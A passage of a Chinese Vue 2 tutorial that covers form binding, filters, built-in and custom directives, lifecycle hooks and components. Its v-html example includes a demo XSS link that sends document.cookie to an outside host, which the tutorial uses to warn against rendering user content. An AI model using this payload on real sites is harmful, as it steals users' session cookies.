    
                sex:'female'
            }
        },
        methods: {
    
    
            demo(){
    
    
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

若没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

配置input的value属性:

v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
v-model的初始值是数组，那么收集的的就是value组成的数组

<!-- 准备好一个容器-->
<div id="root">
    <form @submit.prevent="demo">
        爱好：
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
        <br/><br/>
        所属校区
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武汉</option>
        </select>
        <br/><br/>
        其他信息：
        <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            userInfo:{
    
    
                hobby:[],
                city:'beijing',
                other:'',
                agree:''
            }
        },
        methods: {
    
    
            demo(){
    
    
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

v-model的三个修饰符：

lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤

16 过滤器（非重点）

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
使用过滤器：{ { xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”

<!-- 准备好一个容器-->
<div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h3>现在是：{
    
    {
    
     fmtTime }}</h3>
    <!-- methods实现 -->
    <h3>现在是：{
    
    {
    
     getFmtTime() }}</h3>
    <!-- 过滤器实现 -->
    <h3>现在是：{
    
    {
    
    time | timeFormater}}</h3>
    <!-- 过滤器实现（传参） -->
    <h3>现在是：{
    
    {
    
    time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">尚硅谷</h3>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    //全局过滤器
    Vue.filter('mySlice',function(value){
    
    
        return value.slice(0,4)
    })

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            time:1621561377603, //时间戳
            msg:'你好，尚硅谷'
        },
        computed: {
    
    
            fmtTime(){
    
    
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
    
    
            getFmtTime(){
    
    
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部过滤器
        filters:{
    
    
            timeFormater(value, str='YYYY年MM月DD日 HH:mm:ss'){
    
    
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })
</script>

过滤器也可以接收额外参数、多个过滤器也可以串联

并没有改变原本的数据, 是产生新的对应的数据

17 内置指令

v-text指令：(使用的比较少)

作用：向其所在的节点中渲染文本内容。

与插值语法的区别：v-text会替换掉节点中的内容，{ {xx}}则不会。

<!-- 准备好一个容器-->
<div id="root">
    <div>你好，{
    
    {
    
    name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            name:'张三',
            str:'<h3>你好啊！</h3>'
        }
    })
</script>

v-html指令：(使用的很少)

作用：向指定节点中渲染包含html结构的内容。

与插值语法的区别：

v-html会替换掉节点中所有的内容，{ {xx}}则不会。
v-html可以识别html结构。

严重注意：v-html有安全性问题！！！！

在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<!-- 准备好一个容器-->
<div id="root">
    <div>你好，{
    
    {
    
    name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            name:'张三',
            str:'<h3>你好啊！</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
        }
    })
</script>

v-cloak指令（没有值）：

本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
使用css配合v-cloak可以解决网速慢时页面展示出{ {xxx}}的问题。

<style>
    [v-cloak]{
    
    
        display:none;
    }
</style>
<!-- 准备好一个容器-->
<div id="root">
    <h2 v-cloak>{
    
    {
    
    name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>

<script type="text/javascript">
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            name:'尚硅谷'
        }
    })
</script>

v-once指令：(用的少)

v-once所在节点在初次动态渲染后，就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<!-- 准备好一个容器-->
<div id="root">
    <h2 v-once>初始化的n值是:{
    
    {
    
     n }}</h2>
    <h2>当前的n值是:{
    
    {
    
     n }}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            n:1
        }
    })
</script>

v-pre指令：(比较没用)

跳过其所在节点的编译过程
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<!-- 准备好一个容器-->
<div id="root">
    <h2 v-pre>Vue其实很简单</h2>
    <h2 >当前的n值是:{
    
    {
    
    n}}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
    
    
        el:'#root',
        data:{
    
    
            n:1
        }
    })
</script>

18 自定义指令

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

语法：

局部指令：

directives: {
    
    
  focus: {
    
    
    // 指令的定义
    inserted: function (el) {
    
    
      el.focus()
    }
  }
}

全局指令：

<script>
    // 注册一个全局自定义指令 `v-focus`
    Vue.directive('focus', {
    
    
        // 当被绑定的元素插入到 DOM 中时……
        inserted: function (el) {
    
    
            // 聚焦元素
            el.focus()
        }
    })
</script>

配置对象中常用的3个回调：

bind：指令与元素成功绑定时调用。
inserted：指令所在元素被插入页面时调用。
update：指令所在模板结构被重新解析时调用。

理解这三个的调用时机，需要进一步了解 vue 的生命周期，下面会介绍。

定义全局指令

<!-- 准备好一个容器-->
<div id="root">
    <input type="text" v-fbind:value="n">
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    //定义全局指令
    Vue.directive('fbind', {
    
    
        // 指令与元素成功绑定时（一上来）
        bind(element, binding){
    
    
            element.value = binding.value
        },
        // 指令所在元素被插入页面时
        inserted(element, binding){
    
    
            element.focus()
        },
        // 指令所在的模板被重新解析时
        update(element, binding){
    
    
            element.value = binding.value
        }
    })
    
    new Vue({
    
    
        el:'#root',
        data:{
    
    
            name: '尚硅谷',
            n: 1
        }
    })

</script>

局部指令：

new Vue({
    
    
    el: '#root',
    data: {
    
    
        name:'尚硅谷',
        n:1
    },
    directives: {
    
    
        // big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
        /* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
        big (element,binding){
    
    
            console.log('big',this) //注意此处的this是window
            // console.log('big')
            element.innerText = binding.value * 10
        },
        fbind: {
    
    
            //指令与元素成功绑定时（一上来）
            bind (element,binding){
    
    
                element.value = binding.value
            },
            //指令所在元素被插入页面时
            inserted (element,binding){
    
    
                element.focus()
            },
            //指令所在的模板被重新解析时
            update (element,binding){
    
    
                element.value = binding.value
            }
        }
    }
})

19 生命周期

简介生命周期

Vue 实例有⼀个完整的⽣命周期，也就是从new Vue()、初始化事件(.once事件)和生命周期、编译模版、挂载Dom -> 渲染、更新 -> 渲染、卸载等⼀系列过程，称这是Vue的⽣命周期。
在这里插入图片描述

beforeCreate（创建前）：数据监测(getter和setter)和初始化事件还未开始，此时 data 的响应式追踪、event/watcher 都还没有被设置，也就是说不能访问到data、computed、watch、methods上的方法和数据。
created（创建后）：实例创建完成，实例上配置的 options 包括 data、computed、watch、methods 等都配置完成，但是此时渲染得节点还未挂载到 DOM，所以不能访问到 $el属性。
beforeMount（挂载前）：在挂载开始之前被调用，相关的render函数首次被调用。此阶段Vue开始解析模板，生成虚拟DOM存在内存中，还没有把虚拟DOM转换成真实DOM，插入页面中。所以网页不能显示解析好的内容。
mounted（挂载后）：在el被新创建的 vm.$el（就是真实DOM的拷贝）替换，并挂载到实例上去之后调用（将内存中的虚拟DOM转为真实DOM，真实DOM插入页面）。此时页面中呈现的是经过Vue编译的DOM，这时在这个钩子函数中对DOM的操作可以有效，但要尽量避免。一般在这个阶段进行：开启定时器，发送网络请求，订阅消息，绑定自定义事件等等
beforeUpdate（更新前）：响应式数据更新时调用，此时虽然响应式数据更新了，但是对应的真实 DOM 还没有被渲染（数据是新的，但页面是旧的，页面和数据没保持同步呢）。
updated（更新后） ：在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时，组件 DOM已经更新，所以可以执行依赖于DOM的操作。然而在大多数情况下，应该避免在此期间更改状态，因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用。
beforeDestroy（销毁前）：实例销毁之前调用。这一步，实例仍然完全可用，this 仍能获取到实例。在这个阶段一般进行关闭定时器，取消订阅消息，解绑自定义事件。
destroyed（销毁后）：实例销毁后调用，调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用。

来讲一下图中间大框框的内容

先判断有没有 el 这个配置项，没有就调用 vm.$mount(el)，如果两个都没有就一直卡着，显示的界面就是最原始的容器的界面。有 el 这个配置项，就进行判断有没有 template 这个配置项，没有 template 就将 el 绑定的容器编译为 vue 模板

这个 template 有啥用咧？

第一种情况，有 template：

如果 el 绑定的容器没有任何内容，就一个空壳子，但在 Vue 实例中写了 template，就会编译解析这个 template 里的内容，生成虚拟 DOM，最后将虚拟 DOM 转为真实 DOM 插入页面（其实就可以理解为 template 替代了 el 绑定的容器的内容）。

第二种情况，没有 template：

没有 template，就编译解析 el 绑定的容器，生成虚拟 DOM，后面就顺着生命周期执行下去。

20 非单文件组件

20.1 基本使用

Vue中使用组件的三大步骤：

定义组件(创建组件)
注册组件
使用组件(写组件标签)

定义组件

使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别；

区别如下：

el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系。

讲解一下面试小问题：data必须写成函数：

这是 js 底层设计的原因：举个例子

对象形式

let data = {
    
    
    a: 99,
    b: 100
}

let x = data;
let y = data;
// x 和 y 引用的都是同一个对象，修改 x 的值， y 的值也会改变
x.a = 66;
console.loh(x); // a:66 b:100
console.log(y); // a:66 b:100

函数形式

function data() {
    
    
    return {
    
    
        a: 99,
        b: 100
    }
}
let x = data();
let y = data();
console.log(x === y); // false
// 我的理解是函数每调用一次就创建一个新的对象返回给他们

备注：使用template可以配置组件结构。

创建一个组件案例：Vue.extend() 创建

<script type="text/javascript">
    Vue.config.productionTip = false

    //第一步：创建school组件
    const school = Vue.extend({
    
    
        template:`
				<div class="demo">
					<h2>学校名称：{
     
     {schoolName}}</h2>
					<h2>学校地址：{
     
     {address}}</h2>
					<button @click="showName">点我提示学校名</button>	
    </div>
			`,
        // el:'#root', //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。
        data(){
    
    
            return {
    
    
                schoolName:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
    
    
            showName(){
    
    
                alert(this.schoolName)
            }
        },
    })

    //第一步：创建student组件
    const student = Vue.extend({
    
    
        template:`
				<div>
					<h2>学生姓名：{
     
     {studentName}}</h2>
					<h2>学生年龄：{
     
     {age}}</h2>
    </div>
			`,
        data(){
    
    
            return {
    
    
                studentName:'张三',
                age:18
            }
        }
    })

    //第一步：创建hello组件
    const hello = Vue.extend({
    
    
        template:`
				<div>	
					<h2>你好啊！{
     
     {name}}</h2>
    </div>
			`,
        data(){
    
    
            return {
    
    
                name:'Tom'
            }
        }
    })
</script>

注册组件

局部注册：靠new Vue的时候传入components选项
全局注册：靠Vue.component(‘组件名’,组件)

局部注册

<script>
	//创建vm
    new Vue({
    
    
        el: '#root',
        data: {
    
    
            msg:'你好啊！'
        },
        //第二步：注册组件（局部注册）
        components: {
    
    
            school: school,
            student: student
            // ES6简写形式
            // school,
            // student
        }
    })
</script>

全局注册

<script>
	//第二步：全局注册组件
	Vue.component('hello', hello)
</script>

写组件标签

<!-- 准备好一个容器-->
<div id="root">
    <hello></hello>
    <hr>
    <h1>{
    
    {
    
    msg}}</h1>
    <hr>
    <!-- 第三步：编写组件标签 -->
    <school></school>
    <hr>
    <!-- 第三步：编写组件标签 -->
    <student></student>
</div>

20.2 几个注意点

关于组件名：

一个单词组成：

第一种写法(首字母小写)：school
第二种写法(首字母大写)：School

多个单词组成：

第一种写法(kebab-case命名)：my-school
第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持)

备注：

(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。

(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

关于组件标签:

第一种写法：

第二种写法：

备注：不用使用脚手架时，会导致后续组件不能渲染。

一个简写方式：

const school = Vue.extend(options) 可简写为：const school = options

20.3 组件的嵌套

比较简单，直接展示代码：

<!-- 准备好一个容器-->
<div id="root">

</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    //定义student组件
    const student = Vue.extend({
    
    
        name:'student',
        template:`
				<div>
					<h2>学生姓名：{
     
     {name}}</h2>	
					<h2>学生年龄：{
     
     {age}}</h2>	
    </div>
			`,
        data(){
    
    
            return {
    
    
                name:'尚硅谷',
                age:18
            }
        }
    })

    //定义school组件
    const school = Vue.extend({
    
    
        name:'school',
        template:`
				<div>
					<h2>学校名称：{
     
     {name}}</h2>	
					<h2>学校地址：{
     
     {address}}</h2>	
					<student></student>
    </div>
			`,
        data(){
    
    
            return {
    
    
                name:'尚硅谷',
                address:'北京'
            }
        },
        // 注册组件（局部）
        components:{
    
    
            student
        }
    })

    //定义hello组件
    const hello = Vue.extend({
    
    
        template:`<h1>{
     
     {msg}}</h1>`,
        data(){
    
    
            return {
    
    
                msg:'欢迎来到尚硅谷学习！'
            }
        }
    })

    //定义app组件
    const app = Vue.extend({
    
    
        template:`
				<div>	
					<hello></hello>
					<school></school>
    </div>
			`,
        components:{
    
    
            school,
            hello
        }
    })

    //创建vm
    new Vue({
    
    
        template:'<app></app>',
        el:'#root',
        //注册组件（局部）
        components:{
    
    app}
    })
</script>

20.4 VueComponent

school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。

我们只需要写或，Vue解析时会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options)。

特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！(这个VueComponent可不是实例对象)

关于this指向：

组件配置中：data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【VueComponent实例对象】。
new Vue(options)配置中：data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】。

VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。Vue的实例对象，以后简称vm。

Vue 在哪管理 VueComponent----VUE的$children属性中

20.5 一个重要的内置关系

一个重要的内置关系：VueComponent.prototype.proto === Vue.prototype
为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法。

21 单文件组件

单文件组件就是将一个组件的代码写在 .vue 这种格式的文件中，webpack 会将 .vue 文件解析成 html,css,js这些形式。

来做个单文件组件的案例：

School.vue

<template>
	<div class="demo">
		<h2>学校名称：{
    
    {
    
    name}}</h2>
		<h2>学校地址：{
    
    {
    
    address}}</h2>
		<button @click="showName">点我提示学校名</button>	
	</div>
</template>

<script>
	 export default {
    
    
		name:'School',
		data(){
    
    
			return {
    
    
				name:'尚硅谷',
				address:'北京昌平'
			}
		},
		methods: {
    
    
			showName(){
    
    
				alert(this.name)
			}
		},
	}
</script>

<style>
	.demo{
    
    
		background-color: orange;
	}
</style>

Student.vue

<template>
	<div>
		<h2>学生姓名：{
    
    {
    
    name}}</h2>
		<h2>学生年龄：{
    
    {
    
    age}}</h2>
	</div>
</template>

<script>
	 export default {
    
    
		name:'Student',
		data(){
    
    
			return {
    
    
				name:'张三',
				age:18
			}
		}
	}
</script>

App.vue

用来汇总所有的组件(大总管)

<template>
	<div>
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	//引入组件
	import School from './School.vue'
	import Student from './Student.vue'

	export default {
    
    
		name:'App',
		components:{
    
    
			School,
			Student
		}
	}
</script>

main.js

在这个文件里面创建 vue 实例

import App from './App.vue'

new Vue({
    
    
	el:'#root',
	template:`<App></App>`,
	components:{
    
    App},
})

index.html

在这写 vue 要绑定的容器

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>练习一下单文件组件的语法</title>
	</head>
	<body>
		<!-- 准备一个容器 -->
		<div id="root"></div>
        <script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="./main.js"></script>
	</body>
</html>

【VUE2】VUE2基础知识和原理--超详细--超简介--零基础（一）

vue基础知识和原理

1 初识Vue

2 模板语法

3 数据绑定

4 el与data的两种写法

5 Vue中的MVVM

6 数据代理

7 事件处理

8 键盘事件

9 计算属性

10 监视属性

11 绑定样式

11.1 class样式

11.2 style样式

12 条件渲染

12.1 v-if

12.2 v-show

13 列表渲染

13.1 v-for指令

13.2 key的原理

13.3 结论

14 vue 监测data 中的数据

15 收集表单数据

16 过滤器（非重点）

17 内置指令

18 自定义指令

19 生命周期

20 非单文件组件

20.1 基本使用

20.2 几个注意点

20.3 组件的嵌套

20.4 VueComponent

20.5 一个重要的内置关系

21 单文件组件

猜你喜欢

【VUE2】VUE2基础知识和原理--超详细--超简介--零基础（一）

vue基础知识和原理

1 初识Vue

2 模板语法

3 数据绑定

4 el与data的两种写法

5 Vue中的MVVM

6 数据代理

7 事件处理

8 键盘事件

9 计算属性

10 监视属性

11 绑定样式

11.1 class样式

11.2 style样式

12 条件渲染

12.1 v-if

12.2 v-show

13 列表渲染

13.1 v-for指令

13.2 key的原理

13.3 结论

14 vue 监测data 中的 数据

15 收集表单数据

16 过滤器（非重点）

17 内置指令

18 自定义指令

19 生命周期

20 非单文件组件

20.1 基本使用

20.2 几个注意点

20.3 组件的嵌套

20.4 VueComponent

20.5 一个重要的内置关系

21 单文件组件

猜你喜欢

14 vue 监测data 中的数据